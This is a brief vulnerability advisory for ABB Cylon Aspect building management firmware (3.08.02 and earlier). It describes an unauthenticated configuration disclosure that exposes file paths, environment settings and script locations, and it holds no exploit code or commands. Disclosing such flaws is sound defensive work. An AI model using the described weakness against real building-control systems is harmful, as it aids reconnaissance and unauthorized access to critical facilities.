ABB Cylon Aspect 3.08.02 Unauthenticated Configuration Disclosure


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.02

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB Cylon Aspect BMS/BAS system suffers from an unauthenticated
configuration disclosure vulnerability. This can be exploited to retrieve
sensitive configuration data, including file paths, environment settings,
and the location of system scripts. These exposed configuration files may
allow an attacker to gain insights into the system's structure, facilitating
further attacks or unauthorized access.
